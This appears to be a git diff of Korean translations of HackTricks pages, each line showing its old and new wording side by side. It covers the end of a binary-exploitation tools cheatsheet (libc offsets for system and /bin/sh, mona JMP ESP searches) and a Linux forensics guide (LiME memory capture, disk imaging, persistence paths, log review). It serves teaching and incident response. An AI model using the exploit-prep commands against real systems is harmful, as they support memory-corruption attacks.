**nasm -f elf assembly.asm** --> ".o" 파일 반환\ **nasm -f elf assembly.asm** --> ".o" 반환\
**ld assembly.o -o shellcodeout** --> 실행 파일 **ld assembly.o -o shellcodeout** --> 실행 파일
## Objdump ## Objdump
**-d** --> 실행 파일의 섹션을 **디어셈블** (컴파일된 쉘코드의 옵코드, ROP 가젯, 함수 주소 찾기 등)\ **-d** --> **실행 파일** 섹션을 **디스어셈블** (컴파일된 쉘코드의 opcodes 보기, ROP Gadgets 찾기, 함수 주소 찾기...)\
**-Mintel** --> **Intel** 구문\ **-Mintel** --> **Intel** 구문\
**-t** --> **심볼** 테이블\ **-t** --> **기호** 테이블\
**-D** --> 모두 디어셈블 (정적 변수의 주소)\ **-D** --> **모두 디어셈블** (정적 변수의 주소)\
**-s -j .dtors** --> dtors 섹션\ **-s -j .dtors** --> dtors 섹션\
**-s -j .got** --> got 섹션\ **-s -j .got** --> got 섹션\
\-D -s -j .plt --> **plt** 섹션 **디컴파일**\ \-D -s -j .plt --> **plt** 섹션 **디컴파일**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT에서 수정해야 하는 "puts"의 주소\ **-TR** --> **재배치**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT에서 수정할 "puts"의 주소\
**objdump -D ./exec | grep "VAR\_NAME"** --> 정적 변수의 주소 (이들은 DATA 섹션에 저장됨). **objdump -D ./exec | grep "VAR\_NAME"** --> 정적 변수의 주소 (이들은 DATA 섹션에 저장됨).
## 코어 덤프 ## 코어 덤프
1. 프로그램을 시작하기 전에 `ulimit -c unlimited` 실행 1. 프로그램을 시작하기 전에 `ulimit -c unlimited` 실행
2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 실행 2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 실행
3. `sudo gdb --core=\<path/core> --quiet` 실행 3. sudo gdb --core=\<path/core> --quiet
## 더 많은 정보 ## 더 많은 정보
**ldd executable | grep libc.so.6** --> 주소 (ASLR이 적용된 경우, 매번 변경됨)\ **ldd executable | grep libc.so.6** --> 주소 (ASLR가 활성화된 경우 매번 변경됨)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> 주소가 자주 변경되는지 확인하기 위한 루프\ **for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> 주소가 많이 변경되는지 확인하기 위한 루프\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"의 오프셋\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"의 오프셋\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"의 오프셋 **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"의 오프셋
**strace executable** --> 실행 파일에서 호출된 함수들\ **strace executable** --> 실행 파일에 의해 호출된 함수\
**rabin2 -i ejecutable -->** 모든 함수의 주소 **rabin2 -i ejecutable -->** 모든 함수의 주소
## **Inmunity debugger** ## **Inmunity 디버거**
```bash ```bash
!mona modules #Get protections, look for all false except last one (Dll of SO) !mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
@ -210,24 +212,25 @@ _RIP가 저장되는 첫 번째 0x08은 RBP에 속합니다._
### 원격 리눅스에서 디버깅 ### 원격 리눅스에서 디버깅
IDA 폴더 안에는 리눅스 내에서 이진 파일을 디버깅하는 데 사용할 수 있는 이진 파일이 포함되어 있습니다. 이를 위해 _linux\_server_ 또는 _linux\_server64_ 바이너리를 리눅스 서버로 이동하고 해당 바이너리가 있는 폴더 내에서 실행하십시오: IDA 폴더 안에는 리눅스 내에서 바이너리를 디버깅하는 데 사용할 수 있는 바이너리가 있습니다. 그렇게 하려면 _linux\_server_ 또는 _linux\_server64_ 바이너리를 리눅스 서버 안으로 이동시키고 바이너리가 포함된 폴더 내에서 실행하십시오:
``` ```
./linux_server64 -Ppass ./linux_server64 -Ppass
``` ```
그런 다음, 디버거를 구성하십시오: 디버거 (리눅스 원격) --> 프로세스 옵션...: 그런 다음 디버거를 구성합니다: Debugger (linux remote) --> Proccess options...:
![](<../../.gitbook/assets/image (101).png>) ![](<../../.gitbook/assets/image (101).png>)
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# 리눅스 포렌식 # Linux Forensics
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 히어로가 되기까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 **팔로우**하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
## 초기 정보 수집 ## 초기 정보 수집
### 기본 정보 ### 기본 정보
먼저, **USB**에 **잘 알려진 이진 파일 및 라이브러리**가 있는 것이 좋습니다(우분투를 가져와 _/bin_, _/sbin_, _/lib,__/lib64_ 폴더를 복사할 수 있습니다). 그런 다음 USB를 마운트하고, 환경 변수를 수정하여 해당 이진 파일을 사용하세요: 우선, **잘 알려진 바이너리와 라이브러리가 있는 USB**를 준비하는 것이 좋습니다(우분투를 다운로드하고 _/bin_, _/sbin_, _/lib,__/lib64_ 폴더를 복사하면 됩니다). 그런 다음 USB를 마운트하고 환경 변수를 수정하여 해당 바이너리를 사용하세요:
```bash ```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
``` ```
한 번 시스템이 좋고 알려진 이진 파일을 사용하도록 구성되면 **기본 정보를 추출**할 수 있습니다: 시스템을 좋은 알려진 바이너리를 사용하도록 구성한 후에는 **기본 정보를 추출하기 시작할 수 있습니다**:
```bash ```bash
date #Date and time (Clock may be skewed, Might be at a different timezone) date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info uname -a #OS info
@ -49,47 +50,47 @@ cat /etc/passwd #Unexpected data?
cat /etc/shadow #Unexpected data? cat /etc/shadow #Unexpected data?
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
``` ```
#### 수상한 정보 #### 의심스러운 정보
기본 정보를 얻을 때 다음과 같은 이상한 점을 확인해야 합니다: 기본 정보를 얻는 동안 다음과 같은 이상한 사항을 확인해야 합니다:
- **루트 프로세스**는 일반적으로 낮은 PID로 실행되므로, 큰 PID를 가진 루트 프로세스를 발견하면 의심해야 합니다. * **루트 프로세스**는 일반적으로 낮은 PID로 실행되므로, 큰 PID를 가진 루트 프로세스를 발견하면 의심할 수 있습니다.
- `/etc/passwd` 내부에 쉘 없이 등록된 사용자들의 **등록된 로그인**을 확인합니다. * `/etc/passwd` 내에서 쉘이 없는 사용자의 **등록된 로그인**을 확인하십시오.
- `/etc/shadow` 내부에 있는 사용자들의 **비밀번호 해시**를 확인합니다. * 쉘이 없는 사용자의 `/etc/shadow` 내에서 **비밀번호 해시**를 확인하십시오.
### 메모리 덤프 ### 메모리 덤프
실행 중인 시스템의 메모리를 얻기 위해서는 [**LiME**](https://github.com/504ensicsLabs/LiME)를 사용하는 것이 좋습니다.\ 실행 중인 시스템의 메모리를 얻으려면 [**LiME**](https://github.com/504ensicsLabs/LiME)를 사용하는 것이 좋습니다.\
**컴파일**하려면 피해자 머신이 사용 중인 **동일한 커널**을 사용해야 합니다. **컴파일**하려면 피해자 머신이 사용하는 **동일한 커널**을 사용해야 합니다.
{% hint style="info" %} {% hint style="info" %}
피해자 머신에 **LiME나 다른 것을 설치할 수 없다는 것**을 기억하세요. 그렇게 하면 여러 가지 변경 사항이 발생합니다. 피해자 머신에 **LiME 또는 다른 어떤 것**도 설치할 수 없다는 점을 기억하십시오. 이는 여러 가지 변경을 초래할 수 있습니다.
{% endhint %} {% endhint %}
따라서 Ubuntu의 동일한 버전이 있다면 `apt-get install lime-forensics-dkms`를 사용할 수 있습니다.\ 따라서 동일한 버전의 Ubuntu가 있다면 `apt-get install lime-forensics-dkms`를 사용할 수 있습니다.\
그렇지 않은 경우 [**LiME**](https://github.com/504ensicsLabs/LiME)을 github에서 다운로드하고 올바른 커널 헤더로 컴파일해야 합니다. 피해자 머신의 정확한 커널 헤더를 **얻으려면** `/lib/modules/<커널 버전>` 디렉토리를 단순히 **복사**하여 자신의 머신에 컴파일하면 됩니다: 다른 경우에는 [**LiME**](https://github.com/504ensicsLabs/LiME)를 github에서 다운로드하고 올바른 커널 헤더로 컴파일해야 합니다. 피해자 머신의 **정확한 커널 헤더**를 얻으려면 `/lib/modules/<kernel version>` 디렉토리를 귀하의 머신으로 **복사**한 다음, 이를 사용하여 LiME를 **컴파일**하십시오:
```bash ```bash
make -C /lib/modules/<kernel version>/build M=$PWD make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
``` ```
LiME는 3가지 **형식**을 지원합니다: LiME는 3가지 **형식**을 지원합니다:
* Raw (모든 세그먼트가 연결된 상태) * Raw (모든 세그먼트를 함께 연결)
* Padded (Raw와 동일하지만 오른쪽 비트에는 제로가 들어 있음) * Padded (raw와 동일하지만 오른쪽 비트에 제로 추가)
* Lime (메타데이터가 포함된 권장 형식) * Lime (메타데이터가 포함된 추천 형식)
LiME를 사용하여 덤프를 시스템에 저장하는 대신 **네트워크를 통해 전송**할 수도 있습니다. 예를 들어 다음과 같이 사용할 수 있습니다: `path=tcp:4444` LiME는 또한 **네트워크를 통해 덤프를 전송**하는 데 사용할 수 있습니다. 예: `path=tcp:4444`
### 디스크 이미징 ### 디스크 이미징
#### 시스템 종료 #### 시스템 종료
먼저, **시스템을 종료**해야 합니다. 이것은 항상 옵션이 아닐 수 있습니다. 때로는 회사가 종료할 여유가 없는 프로덕션 서버일 수 있습니다.\ 우선, **시스템을 종료**해야 합니다. 이는 항상 가능한 옵션이 아니며, 때때로 시스템이 회사가 종료할 수 없는 프로덕션 서버일 수 있습니다.\
시스템을 종료하는 **2가지 방법**이 있습니다. **정상 종료**와 **"전원 플러그를 뽑는" 종료**입니다. 첫 번째 방법은 **프로세스가 보통대로 종료**되고 **파일 시스템이 동기화**되지만, **악성 코드**가 **증거를 파괴**할 수도 있습니다. "전원 플러그를 뽑는" 방법은 **일부 정보 손실**을 야기할 수 있습니다 (메모리 이미지를 이미 촬영했기 때문에 정보가 많이 손실되지는 않을 것입니다) 그리고 **악성 코드가 이에 대해 아무것도 할 수 없을 것**입니다. 따라서 **악성 코드**가 있을 것으로 **의심**된다면 시스템에서 **`sync`** **명령어**를 실행하고 전원을 차단하세요. 시스템을 종료하는 방법은 **정상 종료**와 **"플러그를 뽑는" 종료**의 **2가지 방법**이 있습니다. 첫 번째 방법은 **프로세스가 정상적으로 종료**되고 **파일 시스템**이 **동기화**되도록 허용하지만, 가능한 **악성코드**가 **증거를 파괴**할 수 있게 합니다. "플러그를 뽑는" 접근 방식은 **일부 정보 손실**을 초래할 수 있습니다(메모리 이미지를 이미 가져왔기 때문에 많은 정보가 손실되지는 않을 것입니다) 그리고 **악성코드가 아무것도 할 기회**가 없습니다. 따라서 **악성코드**가 있을 것으로 **의심**되는 경우, 시스템에서 **`sync`** **명령**을 실행하고 플러그를 뽑으십시오.
#### 디스크 이미지 촬영 #### 디스크 이미지 가져오기
**컴퓨터를 사건과 관련된 어떤 것에 연결하기 전에**, 정보를 수정하지 않도록 **읽기 전용으로 마운트**되는지 확인해야 합니다. **사건과 관련된 어떤 것에 컴퓨터를 연결하기 전에**, **읽기 전용으로 마운트**될 것인지 확실히 해야 정보를 수정하지 않도록 하는 것이 중요합니다.
```bash ```bash
#Create a raw copy of the disk #Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512 dd if=<subject device> of=<image file> bs=512
@ -98,9 +99,9 @@ dd if=<subject device> of=<image file> bs=512
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file> dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
``` ```
### 디스크 이미지 사전 분석 ### Disk Image pre-analysis
추가 데이터 없이 디스크 이미지를 이미징합니다. 더 이상 데이터가 없는 디스크 이미지를 이미징합니다.
```bash ```bash
#Find out if it's a disk image using "file" command #Find out if it's a disk image using "file" command
file disk.img file disk.img
@ -153,11 +154,11 @@ r/r 16: secret.txt
icat -i raw -f ext4 disk.img 16 icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret ThisisTheMasterSecret
``` ```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축** **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -165,10 +166,10 @@ ThisisTheMasterSecret
### 수정된 시스템 파일 ### 수정된 시스템 파일
Linux는 시스템 구성 요소의 무결성을 보장하는 도구를 제공하여 잠재적으로 문제가 될 수 있는 파일을 식별하는 데 유용합니다. Linux는 시스템 구성 요소의 무결성을 보장하는 도구를 제공하여 잠재적으로 문제가 있는 파일을 발견하는 데 중요합니다.
* **RedHat 기반 시스템**: 포괄적인 확인을 위해 `rpm -Va`를 사용합니다. * **RedHat 기반 시스템**: 포괄적인 검사를 위해 `rpm -Va`를 사용하세요.
* **Debian 기반 시스템**: 초기 확인을 위해 `dpkg --verify`를 사용한 후 (`apt-get install debsums`로 `debsums`를 설치한 후) `debsums | grep -v "OK$"`를 사용하여 문제를 식별합니다. * **Debian 기반 시스템**: 초기 검증을 위해 `dpkg --verify`를 사용한 후, `debsums | grep -v "OK$"` (먼저 `apt-get install debsums``debsums`를 설치한 후)로 문제를 식별하세요.
### 악성코드/루트킷 탐지기 ### 악성코드/루트킷 탐지기
@ -180,12 +181,12 @@ Linux는 시스템 구성 요소의 무결성을 보장하는 도구를 제공
## 설치된 프로그램 검색 ## 설치된 프로그램 검색
Debian 및 RedHat 시스템에서 효과적으로 설치된 프로그램을 검색하려면 시스템 로그 및 데이터베이스를 활용하고 일반 디렉토리에서 수동 확인을 고려하세요. Debian 및 RedHat 시스템에서 설치된 프로그램을 효과적으로 검색하려면 시스템 로그 및 데이터베이스를 활용하고 일반 디렉토리에서 수동 검사를 고려하세요.
* Debian의 경우 _**`/var/lib/dpkg/status`**_ 및 _**`/var/log/dpkg.log`**_를 검사하여 패키지 설치에 대한 세부 정보를 가져오고, `grep`를 사용하여 특정 정보를 필터링합니다. * Debian의 경우, 패키지 설치에 대한 세부 정보를 가져오기 위해 _**`/var/lib/dpkg/status`**_ 및 _**`/var/log/dpkg.log`**_를 검사하고, `grep`을 사용하여 특정 정보를 필터링하세요.
* RedHat 사용자는 RPM 데이터베이스를 쿼리하여 `rpm -qa --root=/mntpath/var/lib/rpm`를 사용하여 설치된 패키지를 나열할 수 있습니다. * RedHat 사용자는 `rpm -qa --root=/mntpath/var/lib/rpm`로 RPM 데이터베이스를 쿼리하여 설치된 패키지를 나열할 수 있습니다.
이 패키지 관리자 외에 수동으로 또는 이외에 설치된 소프트웨어를 찾으려면 _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, _**`/sbin`**_과 같은 디렉토리를 탐색하세요. 디렉토리 목록을 시스템별 명령어와 결합하여 알려진 패키지와 관련이 없는 실행 파일을 식별하여 모든 설치된 프로그램을 검색하세요. 패키지 관리자 외부에서 수동으로 설치된 소프트웨어를 발견하려면 _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, _**`/sbin`**_과 같은 디렉토리를 탐색하세요. 디렉토리 목록과 시스템 특정 명령을 결합하여 알려진 패키지와 관련이 없는 실행 파일을 식별하여 모든 설치된 프로그램을 검색하세요.
```bash ```bash
# Debian package and log details # Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:" cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -204,14 +205,14 @@ find / -type f -executable | grep <something>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
오늘 바로 액세스하세요: 오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 삭제된 실행 중인 이진 파일 복구 ## 삭제된 실행 중인 바이너리 복구
/tmp/exec에서 실행되고 삭제된 프로세스를 상상해보세요. 추출하는 것이 가능합니다. /tmp/exec에서 실행된 후 삭제된 프로세스를 상상해 보세요. 이를 추출하는 것이 가능합니다.
```bash ```bash
cd /proc/3746/ #PID with the exec file deleted cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000 head -1 maps #Get address of the file. It was 08048000-08049000
@ -233,137 +234,101 @@ cat /var/spool/cron/crontabs/* \
#MacOS #MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
``` ```
### 서비스 ### Services
악성 소프트웨어가 서비스로 설치될 수 있는 경로: 악성코드가 서비스로 설치될 수 있는 경로:
- **/etc/inittab**: rc.sysinit과 같은 초기화 스크립트를 호출하여 시작 스크립트로 이어짐. * **/etc/inittab**: rc.sysinit과 같은 초기화 스크립트를 호출하여 추가적인 시작 스크립트로 안내합니다.
- **/etc/rc.d/** 및 **/etc/rc.boot/**: 서비스 시작을 위한 스크립트를 포함하며, 후자는 이전 Linux 버전에서 발견됨. * **/etc/rc.d/** 및 **/etc/rc.boot/**: 서비스 시작을 위한 스크립트를 포함하며, 후자는 오래된 리눅스 버전에서 발견됩니다.
- **/etc/init.d/**: Debian과 같은 특정 Linux 버전에서 시작 스크립트를 저장하는 데 사용됨. * **/etc/init.d/**: Debian과 같은 특정 리눅스 버전에서 시작 스크립트를 저장하는 데 사용됩니다.
- 서비스는 또한 Linux 변형에 따라 **/etc/inetd.conf** 또는 **/etc/xinetd/**를 통해 활성화될 수 있음. * 서비스는 리눅스 변형에 따라 **/etc/inetd.conf** 또는 **/etc/xinetd/**를 통해 활성화될 수도 있습니다.
- **/etc/systemd/system**: 시스템 및 서비스 관리자 스크립트를 위한 디렉토리. * **/etc/systemd/system**: 시스템 및 서비스 관리자 스크립트를 위한 디렉토리입니다.
- **/etc/systemd/system/multi-user.target.wants/**: 다중 사용자 런레벨에서 시작해야 하는 서비스에 대한 링크를 포함. * **/etc/systemd/system/multi-user.target.wants/**: 다중 사용자 실행 수준에서 시작해야 하는 서비스에 대한 링크를 포함합니다.
- **/usr/local/etc/rc.d/**: 사용자 지정 또는 제3자 서비스를 위한 디렉토리. * **/usr/local/etc/rc.d/**: 사용자 정의 또는 타사 서비스를 위한 것입니다.
- **\~/.config/autostart/**: 사용자별 자동 시작 응용 프로그램을 위한 곳으로, 사용자를 대상으로 한 악성 소프트웨어의 은신처가 될 수 있음. * **\~/.config/autostart/**: 사용자 특정 자동 시작 애플리케이션을 위한 것으로, 사용자 타겟 악성코드의 숨겨진 장소가 될 수 있습니다.
- **/lib/systemd/system/**: 설치된 패키지에 의해 제공되는 시스템 전역 기본 유닛 파일. * **/lib/systemd/system/**: 설치된 패키지에서 제공하는 시스템 전체 기본 유닛 파일입니다.
### 커널 모듈 ### Kernel Modules
악성 소프트웨어에 의해 루트킷 구성 요소로 자주 사용되는 Linux 커널 모듈은 시스템 부팅 시 로드됩니다. 이러한 모듈에 대한 중요한 디렉토리 및 파일은 다음과 같습니다: 리눅스 커널 모듈은 종종 악성코드에 의해 루트킷 구성 요소로 사용되며, 시스템 부팅 시 로드됩니다. 이러한 모듈에 중요한 디렉토리 및 파일은 다음과 같습니다:
- **/lib/modules/$(uname -r)**: 실행 중인 커널 버전의 모듈을 보관. * **/lib/modules/$(uname -r)**: 실행 중인 커널 버전의 모듈을 보유합니다.
- **/etc/modprobe.d**: 모듈 로딩을 제어하는 구성 파일을 포함. * **/etc/modprobe.d**: 모듈 로딩을 제어하는 구성 파일을 포함합니다.
- **/etc/modprobe** 및 **/etc/modprobe.conf**: 전역 모듈 설정을 위한 파일. * **/etc/modprobe** 및 **/etc/modprobe.conf**: 전역 모듈 설정을 위한 파일입니다.
### 기타 자동 시작 위치 ### Other Autostart Locations
Linux는 사용자 로그인 시 자동으로 프로그램을 실행하기 위해 다양한 파일을 사용하며, 여기에는 악성 소프트웨어가 숨을 수 있는 장소가 있을 수 있습니다: 리눅스는 사용자 로그인 시 프로그램을 자동으로 실행하기 위해 다양한 파일을 사용하며, 이는 악성코드를 숨길 수 있습니다:
- **/etc/profile.d/**\*, **/etc/profile**, 및 **/etc/bash.bashrc**: 모든 사용자 로그인에 대해 실행됨. * **/etc/profile.d/**\*, **/etc/profile**, 및 **/etc/bash.bashrc**: 모든 사용자 로그인 시 실행됩니다.
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, 및 **\~/.config/autostart**: 해당 사용자 로그인 시 실행되는 사용자별 파일. * **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, 및 **\~/.config/autostart**: 사용자 로그인 시 실행되는 사용자 특정 파일입니다.
- **/etc/rc.local**: 모든 시스템 서비스가 시작된 후 실행되며, 다중 사용자 환경으로의 전환을 표시함. * **/etc/rc.local**: 모든 시스템 서비스가 시작된 후 실행되며, 다중 사용자 환경으로의 전환이 끝났음을 나타냅니다.
## 로그 검사 ## Examine Logs
Linux 시스템은 다양한 로그 파일을 통해 사용자 활동 및 시스템 이벤트를 추적합니다. 이러한 로그는 무단 접근, 악성 소프트웨어 감염 및 기타 보안 사건을 식별하는 데 중요합니다. 주요 로그 파일은 다음과 같습니다: 리눅스 시스템은 다양한 로그 파일을 통해 사용자 활동 및 시스템 이벤트를 추적합니다. 이러한 로그는 무단 접근, 악성코드 감염 및 기타 보안 사건을 식별하는 데 중요합니다. 주요 로그 파일은 다음과 같습니다:
- **/var/log/syslog** (Debian) 또는 **/var/log/messages** (RedHat): 시스템 전체 메시지와 활동을 캡처. * **/var/log/syslog** (Debian) 또는 **/var/log/messages** (RedHat): 시스템 전체 메시지 및 활동을 캡처합니다.
- **/var/log/auth.log** (Debian) 또는 **/var/log/secure** (RedHat): 인증 시도, 성공 및 실패한 로그인 기록. * **/var/log/auth.log** (Debian) 또는 **/var/log/secure** (RedHat): 인증 시도, 성공 및 실패한 로그인 기록을 남깁니다.
- `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log`를 사용하여 관련 인증 이벤트를 필터링. * `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log`를 사용하여 관련 인증 이벤트를 필터링합니다.
- **/var/log/boot.log**: 시스템 시작 메시지를 포함. * **/var/log/boot.log**: 시스템 시작 메시지를 포함합니다.
